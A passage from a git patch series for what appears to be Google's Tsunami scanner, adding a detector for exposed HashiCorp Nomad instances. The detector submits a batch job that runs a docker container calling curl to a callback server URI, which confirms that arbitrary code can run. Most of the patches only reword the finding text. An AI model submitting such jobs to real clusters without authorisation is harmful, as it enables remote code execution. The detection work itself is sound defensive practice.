{}},"Submission":{"Source":"job \"tsunami-job\" {\\n datacenters = [\"dc1\"]\\n type = \"batch\"\\n\\n group \"curl\" {\\n count = 1\\n\\n task \"run-curl\" {\\n driver = \"docker\"\\n\\n config {\\n image = \"curlimages/curl:8.8.0\"\\n command = \"sh\"\\n args = [\\n \"-lc\",\\n \"\"\\n ]\\n }\\n\\n resources {\\n cpu = 100\\n memory = 64\\n }\\n }\\n }\\n}","Format":"hcl2"}}'
+ body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}'
headers: [
{ name: "Content-Type" value: "application/json; charset=utf-8" }
]
From 9f999b7de1c667a6121e9d934740784296201b7b Mon Sep 17 00:00:00 2001
From: Am <77095239+am0o0@users.noreply.github.com>
Date: Fri, 27 Feb 2026 19:55:13 +0400
Subject: [PATCH 4/6] Update
templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
Co-authored-by: Robert Dick
---
.../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
index 84bc21ee5..94d82dd09 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
@@ -17,7 +17,7 @@ finding: {
publisher: "GOOGLE"
value: "HASHICORPNOMAD_EXPOSED_UI"
}
- title: "Exposed HashicorpNomad instance"
+ title: "Exposed Hashicorp Nomad instance"
description: "HashicorpNomad instance is exposed and can be used to compromise the system."
recommendation:
"Configure authentication or ensure the HashicorpNomad instance is not exposed "
From f1dd6c5532583da6c7aa8d0e5c446ae37064d05e Mon Sep 17 00:00:00 2001
From: Am <77095239+am0o0@users.noreply.github.com>
Date: Fri, 27 Feb 2026 19:55:21 +0400
Subject: [PATCH 5/6] Update
templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
Co-authored-by: Robert Dick
---
.../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
index 94d82dd09..990ee50ad 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
@@ -20,7 +20,7 @@ finding: {
title: "Exposed Hashicorp Nomad instance"
description: "HashicorpNomad instance is exposed and can be used to compromise the system."
recommendation:
- "Configure authentication or ensure the HashicorpNomad instance is not exposed "
+ "Configure authentication or ensure the Hashicorp Nomad instance is not exposed "
"to the network. See "
"https://developer.hashicorp.com/nomad/install for details."
severity: CRITICAL
From 0988bc43a3a153831c523be35c814fa5ffb2847b Mon Sep 17 00:00:00 2001
From: Am <77095239+am0o0@users.noreply.github.com>
Date: Fri, 27 Feb 2026 19:55:27 +0400
Subject: [PATCH 6/6] Update
templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
Co-authored-by: Robert Dick
---
.../plugins/exposedui/HashicorpNomad_ExposedUI.textproto | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
index 990ee50ad..77758388e 100644
--- a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
+++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto
@@ -18,7 +18,7 @@ finding: {
value: "HASHICORPNOMAD_EXPOSED_UI"
}
title: "Exposed Hashicorp Nomad instance"
- description: "HashicorpNomad instance is exposed and can be used to compromise the system."
+ description: "Hashicorp Nomad instance is exposed and can be used to execute arbitrary code. Confirmed by starting a docker container and running `curl` to fetch the callback server URI. "
recommendation:
"Configure authentication or ensure the Hashicorp Nomad instance is not exposed "
"to the network. See "